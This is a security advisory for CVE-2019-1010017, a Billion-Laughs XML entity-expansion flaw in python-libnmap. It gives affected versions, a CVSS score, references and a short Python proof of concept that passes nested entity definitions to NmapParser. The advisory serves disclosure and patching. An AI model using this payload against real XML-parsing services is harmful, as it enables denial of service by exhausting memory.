CVE-2019-1010017

HIGH7.5EPSS 0.56%

XML Injection in python-libnmap

Published: 7/18/2019Modified: 10/15/2024

Also known as:GHSA-9ccv-p7fg-m73xDEBIAN-CVE-2019-1010017PYSEC-2019-218

Description

### Description python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability. ### PoC ```python ty = NmapParser() payload = """ <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz><hello>&lol3;</hello></lolz> """ ty.parse(payload) ```

Affected packages (3)

Debian/python-libnmapfrom 0, < 0.7.2-1
PyPI/python-libnmapfrom 0, < 0.7.2
PyPI/python-libnmapfrom 0, < 0.6.3

CVSS scores

Source	Version	Severity	Vector
osv	CVSS 3.1	HIGH7.5	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References (7)

ADVISORYhttps://github.com/advisories/GHSA-9ccv-p7fg-m73x
ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2019-1010017
ADVISORYhttps://security-tracker.debian.org/tracker/CVE-2019-1010017
PATCHhttps://github.com/savon-noir/python-libnmap
WEBhttps://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml
WEBhttps://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4
WEBhttps://github.com/savon-noir/python-libnmap/issues/87